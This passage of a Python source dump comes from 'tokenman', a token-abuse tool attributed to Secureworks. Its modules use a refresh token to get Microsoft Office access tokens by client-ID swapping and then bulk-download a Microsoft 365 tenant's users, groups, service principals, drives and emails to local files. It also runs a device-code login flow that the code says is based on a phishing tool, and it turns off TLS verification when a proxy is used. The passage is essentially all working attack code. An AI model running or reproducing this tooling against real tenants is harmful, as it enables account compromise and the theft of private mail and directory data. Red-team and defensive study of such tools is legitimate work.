| refresh_token=state.token_cache.refresh_token, 66 | client_name="Microsoft Office", 67 | proxies=state.proxies, 68 | ) 69 | 70 | # Handle invalid token 71 | if not new_token: 72 | logging.error("Could not exchange for new token") 73 | return 74 | 75 | # Update state access token 76 | state.token_cache.access_token = new_token["access_token"] 77 | state.token_cache.refresh_token = new_token["refresh_token"] 78 | 79 | logging.info("Fetching emails") 80 | 81 | # Fetch emails 82 | emails = cls._fetch_emails( 83 | cls, 84 | access_token=state.token_cache.access_token, 85 | proxies=state.proxies, 86 | ) 87 | emails_count = len(emails["value"]) 88 | logging.info(f"\tEmails: {emails_count}") 89 | 90 | # If emails found, write to disk 91 | if emails_count > 0: 92 | utc_now = datetime.now(timezone.utc).strftime("%Y%m%d%H%M%S") 93 | filename = state.output / f"fetch.emails.{utc_now}.json" 94 | logging.info(f"\tOutput: {filename}") 95 | 96 | cls.write_json( 97 | cls, 98 | filename=filename, 99 | data=emails, 100 | ) 101 | -------------------------------------------------------------------------------- /tokenman/fetch/fetch.py: -------------------------------------------------------------------------------- 1 | # Copyright 2022 Secureworks 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | from tokenman.fetch.applications import Applications 16 | from tokenman.fetch.drives import Drives 17 | from tokenman.fetch.emails import Emails 18 | from tokenman.fetch.groups import Groups 19 | from tokenman.fetch.organizations import Organizations 20 | from tokenman.fetch.serviceprincipals import ServicePrincipals 21 | from tokenman.fetch.users import Users 22 | from tokenman.state import RunState 23 | from typing import List 24 | 25 | 26 | class Fetch: 27 | """Fetch command handler""" 28 | 29 | @classmethod 30 | def run( 31 | cls, 32 | state: RunState, 33 | modules: List[str], 34 | ): 35 | """Run the 'fetch' command 36 | 37 | :param state: run state 38 | :param modules: fetch modules to run 39 | """ 40 | # Run each module based on the provided flag data from the user 41 | if any(m in modules for m in ["users", "all"]): 42 | Users.fetch(state) 43 | 44 | if any(m in modules for m in ["groups", "all"]): 45 | Groups.fetch(state) 46 | 47 | if any(m in modules for m in ["organizations", "all"]): 48 | Organizations.fetch(state) 49 | 50 | if any(m in modules for m in ["emails", "all"]): 51 | Emails.fetch(state) 52 | 53 | if any(m in modules for m in ["applications", "all"]): 54 | Applications.fetch(state) 55 | 56 | if any(m in modules for m in ["serviceprincipals", "all"]): 57 | ServicePrincipals.fetch(state) 58 | 59 | if any(m in modules for m in ["drives", "all"]): 60 | Drives.fetch(state) 61 | -------------------------------------------------------------------------------- /tokenman/fetch/groups.py: -------------------------------------------------------------------------------- 1 | # Copyright 2022 Secureworks 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | import logging 16 | from datetime import datetime 17 | from datetime import timezone 18 | from tokenman.module import ModuleBase 19 | from tokenman.state import RunState 20 | from typing import Any 21 | from typing import Dict 22 | 23 | 24 | class Groups(ModuleBase): 25 | """Group retrieval class""" 26 | 27 | def _fetch_groups( 28 | self, 29 | access_token: str, 30 | proxies: Dict[str, str] = None, 31 | ) -> Dict[str, Any]: 32 | """Retrieve all groups for the given user 33 | 34 | :param access_token: access token 35 | :param proxies: http request proxy 36 | """ 37 | return self.msgraph_fetch( 38 | self, 39 | path="groups?$top=999", 40 | access_token=access_token, 41 | proxies=proxies, 42 | ) 43 | 44 | @classmethod 45 | def fetch(cls, state: RunState): 46 | """Fetch groups 47 | 48 | :param state: run state 49 | """ 50 | # Check if we have an access token for MS Office 51 | if not cls.check_token( 52 | cls, 53 | state.token_cache.access_token_payload, 54 | "Microsoft Office", 55 | ): 56 | if not state.token_cache.refresh_token: 57 | logging.error("No refresh token found to perform token exchange") 58 | return 59 | 60 | logging.debug("Acquiring new token for: 'Microsoft Office'") 61 | 62 | # Acquire a new token specific for Microsoft Office 63 | new_token = cls.acquire_token( 64 | cls, 65 | refresh_token=state.token_cache.refresh_token, 66 | client_name="Microsoft Office", 67 | proxies=state.proxies, 68 | ) 69 | 70 | # Handle invalid token 71 | if not new_token: 72 | logging.error("Could not exchange for new token") 73 | return 74 | 75 | # Update state access token 76 | state.token_cache.access_token = new_token["access_token"] 77 | state.token_cache.refresh_token = new_token["refresh_token"] 78 | 79 | logging.info("Fetching groups") 80 | 81 | # Fetch groups 82 | groups = cls._fetch_groups( 83 | cls, 84 | access_token=state.token_cache.access_token, 85 | proxies=state.proxies, 86 | ) 87 | groups_count = len(groups["value"]) 88 | logging.info(f"\tGroups: {groups_count}") 89 | 90 | # If groups found, write to output file 91 | if groups_count > 0: 92 | utc_now = datetime.now(timezone.utc).strftime("%Y%m%d%H%M%S") 93 | filename = state.output / f"fetch.groups.{utc_now}.json" 94 | logging.info(f"\tOutput: {filename}") 95 | 96 | cls.write_json( 97 | cls, 98 | filename=filename, 99 | data=groups, 100 | ) 101 | -------------------------------------------------------------------------------- /tokenman/fetch/organizations.py: -------------------------------------------------------------------------------- 1 | # Copyright 2022 Secureworks 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | import logging 16 | from datetime import datetime 17 | from datetime import timezone 18 | from tokenman.module import ModuleBase 19 | from tokenman.state import RunState 20 | from typing import Any 21 | from typing import Dict 22 | 23 | 24 | class Organizations(ModuleBase): 25 | """Organizations retrieval class""" 26 | 27 | def _fetch_organizations( 28 | self, 29 | access_token: str, 30 | proxies: Dict[str, str] = None, 31 | ) -> Dict[str, Any]: 32 | """Retrieve the Organizations for the given user 33 | 34 | :param access_token: access token 35 | :param proxies: http request proxy 36 | """ 37 | return self.msgraph_fetch( 38 | self, 39 | path="organization", 40 | access_token=access_token, 41 | proxies=proxies, 42 | ) 43 | 44 | @classmethod 45 | def fetch(cls, state: RunState): 46 | """Fetch organizations 47 | 48 | :param state: run state 49 | """ 50 | # Check if we have an access token for MS Office 51 | if not cls.check_token( 52 | cls, 53 | state.token_cache.access_token_payload, 54 | "Microsoft Office", 55 | ): 56 | if not state.token_cache.refresh_token: 57 | logging.error("No refresh token found to perform token exchange") 58 | return 59 | 60 | logging.debug("Acquiring new token for: 'Microsoft Office'") 61 | 62 | # Acquire a new token specific for Microsoft Office 63 | new_token = cls.acquire_token( 64 | cls, 65 | refresh_token=state.token_cache.refresh_token, 66 | client_name="Microsoft Office", 67 | proxies=state.proxies, 68 | ) 69 | 70 | # Handle invalid token 71 | if not new_token: 72 | logging.error("Could not exchange for new token") 73 | return 74 | 75 | # Update state access token 76 | state.token_cache.access_token = new_token["access_token"] 77 | state.token_cache.refresh_token = new_token["refresh_token"] 78 | 79 | logging.info("Fetching organizations") 80 | 81 | # Fetch organizations 82 | organizations = cls._fetch_organizations( 83 | cls, 84 | access_token=state.token_cache.access_token, 85 | proxies=state.proxies, 86 | ) 87 | organizations_count = len(organizations["value"]) 88 | logging.info(f"\tOrganizations: {organizations_count}") 89 | 90 | # If organizations found, write to output file 91 | if organizations_count > 0: 92 | utc_now = datetime.now(timezone.utc).strftime("%Y%m%d%H%M%S") 93 | filename = state.output / f"fetch.organizations.{utc_now}.json" 94 | logging.info(f"\tOutput: {filename}") 95 | 96 | cls.write_json( 97 | cls, 98 | filename=filename, 99 | data=organizations, 100 | ) 101 | -------------------------------------------------------------------------------- /tokenman/fetch/serviceprincipals.py: -------------------------------------------------------------------------------- 1 | # Copyright 2022 Secureworks 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | import logging 16 | from datetime import datetime 17 | from datetime import timezone 18 | from tokenman.module import ModuleBase 19 | from tokenman.state import RunState 20 | from typing import Any 21 | from typing import Dict 22 | 23 | 24 | class ServicePrincipals(ModuleBase): 25 | """Service Principals retrieval class""" 26 | 27 | def _fetch_serviceprincipals( 28 | self, 29 | access_token: str, 30 | proxies: Dict[str, str] = None, 31 | ) -> Dict[str, Any]: 32 | """Retrieve all service principals 33 | 34 | :param access_token: access token 35 | :param proxies: http request proxy 36 | """ 37 | return self.msgraph_fetch( 38 | self, 39 | path="servicePrincipals?$top=999", 40 | access_token=access_token, 41 | proxies=proxies, 42 | ) 43 | 44 | @classmethod 45 | def fetch(cls, state: RunState): 46 | """Fetch service principals 47 | 48 | :param state: run state 49 | """ 50 | # Check if we have an access token for MS Office 51 | if not cls.check_token( 52 | cls, 53 | state.token_cache.access_token_payload, 54 | "Microsoft Office", 55 | ): 56 | if not state.token_cache.refresh_token: 57 | logging.error("No refresh token found to perform token exchange") 58 | return 59 | 60 | logging.debug("Acquiring new token for: 'Microsoft Office'") 61 | 62 | # Acquire a new token specific for Microsoft Office 63 | new_token = cls.acquire_token( 64 | cls, 65 | refresh_token=state.token_cache.refresh_token, 66 | client_name="Microsoft Office", 67 | proxies=state.proxies, 68 | ) 69 | 70 | # Handle invalid token 71 | if not new_token: 72 | logging.error("Could not exchange for new token") 73 | return 74 | 75 | # Update state access token 76 | state.token_cache.access_token = new_token["access_token"] 77 | state.token_cache.refresh_token = new_token["refresh_token"] 78 | 79 | logging.info("Fetching service principals") 80 | 81 | # Fetch service principals 82 | serviceprincipals = cls._fetch_serviceprincipals( 83 | cls, 84 | access_token=state.token_cache.access_token, 85 | proxies=state.proxies, 86 | ) 87 | serviceprincipals_count = len(serviceprincipals["value"]) 88 | logging.info(f"\tService Principals: {serviceprincipals_count}") 89 | 90 | # If service principals found, write to disk 91 | if serviceprincipals_count > 0: 92 | utc_now = datetime.now(timezone.utc).strftime("%Y%m%d%H%M%S") 93 | filename = state.output / f"fetch.serviceprincipals.{utc_now}.json" 94 | logging.info(f"\tOutput: {filename}") 95 | 96 | cls.write_json( 97 | cls, 98 | filename=filename, 99 | data=serviceprincipals, 100 | ) 101 | -------------------------------------------------------------------------------- /tokenman/fetch/users.py: -------------------------------------------------------------------------------- 1 | # Copyright 2022 Secureworks 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | import logging 16 | from datetime import datetime 17 | from datetime import timezone 18 | from tokenman.module import ModuleBase 19 | from tokenman.state import RunState 20 | from typing import Any 21 | from typing import Dict 22 | 23 | 24 | class Users(ModuleBase): 25 | """User retrieval class""" 26 | 27 | def _fetch_users( 28 | self, 29 | access_token: str, 30 | proxies: Dict[str, str] = None, 31 | ) -> Dict[str, Any]: 32 | """Retrieve all users 33 | 34 | :param access_token: access token 35 | :param proxies: http request proxy 36 | """ 37 | return self.msgraph_fetch( 38 | self, 39 | path="users", 40 | access_token=access_token, 41 | proxies=proxies, 42 | ) 43 | 44 | @classmethod 45 | def fetch(cls, state: RunState): 46 | """Fetch users 47 | 48 | :param state: run state 49 | """ 50 | # Check if we have an access token for MS Office 51 | if not cls.check_token( 52 | cls, 53 | state.token_cache.access_token_payload, 54 | "Microsoft Office", 55 | ): 56 | if not state.token_cache.refresh_token: 57 | logging.error("No refresh token found to perform token exchange") 58 | return 59 | 60 | logging.debug("Acquiring new token for: 'Microsoft Office'") 61 | 62 | # Acquire a new token specific for Microsoft Office 63 | new_token = cls.acquire_token( 64 | cls, 65 | refresh_token=state.token_cache.refresh_token, 66 | client_name="Microsoft Office", 67 | proxies=state.proxies, 68 | ) 69 | 70 | # Handle invalid token 71 | if not new_token: 72 | logging.error("Could not exchange for new token") 73 | return 74 | 75 | # Update state access token 76 | state.token_cache.access_token = new_token["access_token"] 77 | state.token_cache.refresh_token = new_token["refresh_token"] 78 | 79 | logging.info("Fetching users") 80 | 81 | # Fetch users 82 | users = cls._fetch_users( 83 | cls, 84 | access_token=state.token_cache.access_token, 85 | proxies=state.proxies, 86 | ) 87 | users_count = len(users["value"]) 88 | logging.info(f"\tUsers: {users_count}") 89 | 90 | # If users found, write to output file 91 | if users_count > 0: 92 | utc_now = datetime.now(timezone.utc).strftime("%Y%m%d%H%M%S") 93 | filename = state.output / f"fetch.users.{utc_now}.json" 94 | logging.info(f"\tOutput: {filename}") 95 | 96 | cls.write_json( 97 | cls, 98 | filename=filename, 99 | data=users, 100 | ) 101 | -------------------------------------------------------------------------------- /tokenman/module.py: -------------------------------------------------------------------------------- 1 | # Copyright 2022 Secureworks 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | import json 16 | import logging 17 | import requests # type: ignore 18 | from typing import Any 19 | from typing import List 20 | from typing import Dict 21 | from tokenman import utils 22 | from tokenman import acquire 23 | 24 | 25 | class ModuleBase: 26 | """Module base class for shared functions""" 27 | 28 | def write_json( 29 | self, 30 | filename: str, 31 | data: Dict[str, str], 32 | ): 33 | """Write a data structure as JSON to disk 34 | 35 | :param filename: full name of output file 36 | :param data: data structure to write to system 37 | """ 38 | try: 39 | with open(filename, "w") as f: 40 | json.dump(data, f) 41 | 42 | except Exception as e: 43 | logging.error(f"Failed to write JSON: {e}") 44 | # Fall back to printing data raw in case the file 45 | # couldn't write to disk 46 | print(json.dumps(data, indent=4)) 47 | 48 | def check_token( 49 | self, 50 | access_token_payload: Dict[str, Any], 51 | client_id: str, 52 | resource: str = "https://graph.microsoft.com", 53 | ) -> bool: 54 | """Check an access token for a given client id 55 | or resource. 56 | 57 | :param access_token_payload: access token object 58 | :param client_id: client id or name associated to foci map 59 | :param resource: token resource/audience 60 | :returns: if a token is valid for given client/audience 61 | """ 62 | # Check if there is an access token 63 | if not access_token_payload: 64 | return False 65 | 66 | # Check if the token is targeting the correct application 67 | try: 68 | if access_token_payload["appid"] == client_id or ( 69 | client_id in utils.FOCI_CLIENT_IDS.keys() 70 | and access_token_payload["appid"] == utils.FOCI_CLIENT_IDS[client_id] 71 | ): 72 | return True 73 | except: 74 | pass 75 | 76 | # Check if the token is targeting the correct audience/scope 77 | try: 78 | if ( 79 | access_token_payload["aud"] == resource 80 | or resource in access_token_payload["scp"] 81 | ): 82 | return True 83 | except: 84 | pass 85 | 86 | return False 87 | 88 | def acquire_token( 89 | self, 90 | refresh_token: str, 91 | client_id: str = None, 92 | client_name: str = None, 93 | resource: str = None, 94 | scope: List[str] = [".default"], 95 | proxies: Dict[str, str] = None, 96 | verify: bool = True, 97 | ) -> Dict[str, Any]: 98 | """Retrieve a new token for the specified application/resource 99 | 100 | :param refresh_token: refresh token 101 | :param client_id: target application client id 102 | :param client_name: target application client name 103 | :param resource: target token resource/audience 104 | :param scopes: target token scopes 105 | :param proxies: http request proxy 106 | :param verify: http request certificate verification 107 | :returns: new token object 108 | """ 109 | # Require a client id or name 110 | if not client_id and not client_name: 111 | logging.error("Missing required client id or name") 112 | return None 113 | 114 | # Validate client name in foci map 115 | try: 116 | if client_name and not client_id: 117 | client_id = utils.FOCI_CLIENT_IDS[client_name] 118 | 119 | except KeyError: 120 | logging.error("Invalid client name provided") 121 | return None 122 | 123 | new_refresh_token = acquire.acquire_token_by_refresh_token( 124 | refresh_token=refresh_token, 125 | client_id=client_id, 126 | resource=resource, 127 | scope=scope, 128 | proxies=proxies, 129 | verify=verify, 130 | ) 131 | 132 | return new_refresh_token 133 | 134 | def msgraph_fetch( 135 | self, 136 | path: str, 137 | access_token=str, 138 | proxies: Dict[str, str] = None, 139 | verify: bool = True, 140 | limit: int = 100, 141 | ) -> Dict[str, str]: 142 | """Fetch data via Microsoft Graph 143 | 144 | :param path: graph api path 145 | :param access_token: access token 146 | :param proxies: http request proxy 147 | :param verify: http request certificate verification 148 | :param limit: max number of pages to fetch 149 | """ 150 | if proxies: 151 | verify = False 152 | 153 | headers = { 154 | "Authorization": f"Bearer {access_token}", 155 | "Content-Type": "application/json", 156 | } 157 | 158 | url = f"https://graph.microsoft.com/v1.0/{path}" 159 | 160 | # Rebuild the search response JSON scheme 161 | # Exclude @odata.nextLink - only use this to get the next page 162 | results = {"@odata.context": None, "value": []} 163 | 164 | count = 0 165 | try: 166 | # Continue to loop while there is more data/until we hit 167 | # our request limit 168 | while url and count <= limit: 169 | count += 1 170 | response = requests.get( 171 | url=url, 172 | headers=headers, 173 | proxies=proxies, 174 | verify=verify, 175 | ) 176 | json_response = response.json() 177 | 178 | # Handle errors 179 | if "error" in json_response: 180 | logging.error(f'Error: {json_response["error"]["message"]}') 181 | break 182 | 183 | # Get the context (only on first request) 184 | if not results["@odata.context"]: 185 | results["@odata.context"] = json_response.get("@odata.context", None) # fmt: skip 186 | 187 | # Get the values returned and append to results 188 | value = json_response.get("value", None) 189 | if value: 190 | results["value"] += value 191 | 192 | # Get the next URL if more results 193 | url = json_response.get("@odata.nextLink", None) 194 | 195 | return results 196 | 197 | except requests.RequestException as e: 198 | logging.error(f"Graph Fetch Error: {e}") 199 | return results 200 | 201 | def msgraph_search( 202 | self, 203 | entity_types: List[str], 204 | search: str, 205 | access_token=str, 206 | proxies: Dict[str, str] = None, 207 | verify: bool = True, 208 | ) -> Dict[str, str]: 209 | """Search data via Microsoft Graph Search 210 | 211 | :param entity_types: entity(ies) to search 212 | :param search: search term 213 | :param access_token: access token 214 | :param proxies: http request proxy 215 | :param verify: http request certificate verification 216 | """ 217 | if proxies: 218 | verify = False 219 | 220 | headers = { 221 | "Authorization": f"Bearer {access_token}", 222 | "Content-Type": "application/json", 223 | } 224 | 225 | json = { 226 | "requests": [ 227 | { 228 | "entityTypes": entity_types, 229 | "query": { 230 | "queryString": search, 231 | }, 232 | } 233 | ] 234 | } 235 | 236 | try: 237 | response = requests.post( 238 | url=f"https://graph.microsoft.com/v1.0/search/query", 239 | json=json, 240 | headers=headers, 241 | proxies=proxies, 242 | verify=verify, 243 | ) 244 | json_response = response.json() 245 | 246 | # Handle errors 247 | if "error" in json_response: 248 | logging.error(f'Error: {json_response["error"]["message"]}') 249 | return None 250 | 251 | return json_response 252 | 253 | except requests.RequestException as e: 254 | logging.error(f"Graph Search Error: {e}") 255 | return None 256 | -------------------------------------------------------------------------------- /tokenman/oauth/__init__.py: -------------------------------------------------------------------------------- 1 | # Copyright 2022 Secureworks 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | from tokenman.oauth.oauth import OAuth 16 | -------------------------------------------------------------------------------- /tokenman/oauth/devicecode.py: -------------------------------------------------------------------------------- 1 | # Copyright 2022 Secureworks 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | import logging 16 | import requests # type: ignore 17 | import urllib 18 | from typing import Any 19 | from typing import Dict 20 | 21 | 22 | class DeviceCode: 23 | """Device code flow handler""" 24 | 25 | @classmethod 26 | def run( 27 | cls, 28 | client_id: str, 29 | scope: str, 30 | proxies: Dict[str, str] = None, 31 | verify: bool = True, 32 | ) -> Dict[str, Any]: 33 | """Generate a device code for oAuth device code flow 34 | 35 | :param client_id: client id to request token for 36 | :param scope: token scope 37 | :param proxies: http request proxy 38 | :param verify: http request certificate verification 39 | :returns: device code json response 40 | """ 41 | if proxies: 42 | verify = False 43 | 44 | # Build device code request 45 | url = "https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode" 46 | params = (("client_id", client_id), ("scope", scope)) 47 | data = urllib.parse.urlencode(params) 48 | 49 | # Request a new device code from Microsoft for the given client ID 50 | try: 51 | response = requests.post( 52 | url, 53 | data=data, 54 | proxies=proxies, 55 | verify=verify, 56 | ) 57 | 58 | if response.status_code != 200: 59 | logging.error(f"Invalid device code response:\n{response.json()}") 60 | return None 61 | 62 | device_code = response.json() 63 | 64 | logging.debug(f"Device code response: {device_code}") 65 | 66 | except Exception as e: 67 | logging.error(f"Failed to request device code from Microsoft: {e}") 68 | return None 69 | 70 | return device_code 71 | -------------------------------------------------------------------------------- /tokenman/oauth/oauth.py: -------------------------------------------------------------------------------- 1 | # Copyright 2022 Secureworks 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | import logging 16 | import webbrowser 17 | from datetime import datetime 18 | from datetime import timezone 19 | from tokenman.module import ModuleBase 20 | from tokenman.oauth.devicecode import DeviceCode 21 | from tokenman.oauth.poll import Poll 22 | from tokenman.oauth.poll import PollThread 23 | from tokenman.state import RunState 24 | from typing import List 25 | 26 | 27 | class OAuth(ModuleBase): 28 | """oAuth device code flow handler""" 29 | 30 | @classmethod 31 | def run( 32 | cls, 33 | state: RunState, 34 | client_id: str, 35 | scope: List[str], 36 | ): 37 | """Run the 'oauth' command 38 | 39 | :param state: run state 40 | :param client_id: client id to exchange token for 41 | :param scope: token scope 42 | """ 43 | default_scope = ["profile", "openid", "offline_access"] 44 | token_scope = list(set(scope + default_scope)) # dedup 45 | token_scope = "%20".join(token_scope) 46 | 47 | # Generate a device code token 48 | logging.info("Requesting new device code") 49 | device_code = DeviceCode.run( 50 | client_id=client_id, 51 | scope=token_scope, 52 | proxies=state.proxies, 53 | ) 54 | 55 | # Handle invalid response 56 | if not device_code: 57 | logging.error("No device code retrieved") 58 | return 59 | 60 | # Begin polling MS for authentication in the background 61 | # via threading 62 | logging.info("Starting authentication poll in background") 63 | pt = PollThread( 64 | target=Poll.run, 65 | args=( 66 | device_code, 67 | client_id, 68 | token_scope, 69 | state.proxies, 70 | ), 71 | ) 72 | pt.start() 73 | 74 | # Open a browser for the user to login 75 | logging.info("Launching browser for authentication") 76 | logging.info(f"Enter the following device code: {device_code['user_code']}") 77 | logging.info("Close the browser or tab once authentication has completed to continue") # fmt: skip 78 | 79 | try: 80 | webbrowser.open( 81 | url="https://microsoft.com/devicelogin", 82 | new=0, 83 | autoraise=True, 84 | ) 85 | except: 86 | logging.warn("Could not open browser") 87 | logging.warn("Browse to 'https://microsoft.com/devicelogin' to perform device code authentication") # fmt: skip 88 | 89 | # Save tokens 90 | auth_token = pt.join() 91 | 92 | if auth_token: 93 | utc_now = datetime.now(timezone.utc).strftime("%Y%m%d%H%M%S") 94 | filename = state.output / f"devicecode.token.{utc_now}.json" 95 | logging.info(f"\tOutput: {filename}") 96 | 97 | cls.write_json( 98 | cls, 99 | filename=filename, 100 | data=auth_token, 101 | ) 102 | 103 | else: 104 | logging.error("Could not retrieve oAuth token") 105 | -------------------------------------------------------------------------------- /tokenman/oauth/poll.py: -------------------------------------------------------------------------------- 1 | # Copyright 2022 Secureworks 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | import datetime 16 | import logging 17 | import requests # type: ignore 18 | import threading 19 | import time 20 | import urllib 21 | from typing import Any 22 | from typing import Dict 23 | 24 | 25 | class Poll: 26 | """Device code authentication polling handler 27 | 28 | Based on: 29 | https://github.com/secureworks/squarephish/blob/main/squarephish/modules/server/auth.py 30 | """ 31 | 32 | @classmethod 33 | def run( 34 | cls, 35 | device_code: Dict[str, Any], 36 | client_id: str, 37 | scope: str, 38 | proxies: Dict[str, str] = None, 39 | verify: bool = True, 40 | ) -> Dict[str, Any]: 41 | """Poll the MS token endpoint for valid authentication 42 | 43 | :param device_code: device code json response 44 | :param client_id: client id requested for the token 45 | :param scope: requested token scope 46 | :param proxies: http request proxy 47 | :param verify: http request certificate verification 48 | :returns: token json response 49 | """ 50 | if proxies: 51 | verify = False 52 | 53 | # Generate POST request data for polling Microsoft for authentication 54 | url = "https://login.microsoftonline.com/organizations/oauth2/v2.0/token" 55 | params = ( 56 | ("grant_type", "urn:ietf:params:oauth:grant-type:device_code"), 57 | ("code", device_code["device_code"]), 58 | ("client_id", client_id), 59 | ("scope", scope), 60 | ) 61 | data = urllib.parse.urlencode(params) 62 | 63 | # Poll only for the time given before the device code expires 64 | expires_in = int(device_code["expires_in"]) / 60 65 | end_delta = datetime.timedelta(minutes=expires_in) 66 | stop_time = datetime.datetime.now() + end_delta 67 | 68 | while True: 69 | logging.debug(f"Polling for oAuth authentication") 70 | response = requests.post( 71 | url, 72 | data=data, 73 | proxies=proxies, 74 | verify=verify, 75 | ) 76 | 77 | # Successful auth 78 | if response.status_code == 200: 79 | break 80 | 81 | # Bad response 82 | if response.json()["error"] != "authorization_pending": 83 | logging.error(f"Invalid poll response:\n{response.json()}") 84 | return None 85 | 86 | # Handle device code expiration/timeout 87 | if datetime.datetime.now() >= stop_time: 88 | logging.error(f"Device code expired") 89 | return None 90 | 91 | # Wait the provided interval time between polls 92 | time.sleep(int(device_code["interval"])) 93 | 94 | # Grab the token response 95 | token_response = response.json() 96 | return token_response 97 | 98 | 99 | class PollThread(threading.Thread): 100 | """Custom threading class to poll for device code authentication""" 101 | 102 | def __init__( 103 | self, 104 | group=None, 105 | target=None, 106 | name=None, 107 | args=(), 108 | kwargs={}, 109 | Verbose=None, 110 | ): 111 | """Initialize polling thread""" 112 | threading.Thread.__init__(self, group, target, name, args, kwargs) 113 | self._return = None 114 | 115 | def join(self, *args): 116 | """Override join to return value""" 117 | threading.Thread.join(self, *args) 118 | return self._return 119 | 120 | def run(self): 121 | """Override run to return value""" 122 | if self._target is not None: 123 | self._return = self._target(*self._args, **self._kwargs) 124 | -------------------------------------------------------------------------------- /tokenman/search/__init__.py: -------------------------------------------------------------------------------- 1 | # Copyright 2022 Secureworks 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | from tokenman.search.search import Search 16 | -------------------------------------------------------------------------------- /tokenman/search/messages.py: -------------------------------------------------------------------------------- 1 | # Copyright 2022 Secureworks 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | import logging 16 | from datetime import datetime 17 | from datetime import timezone 18 | from tokenman import 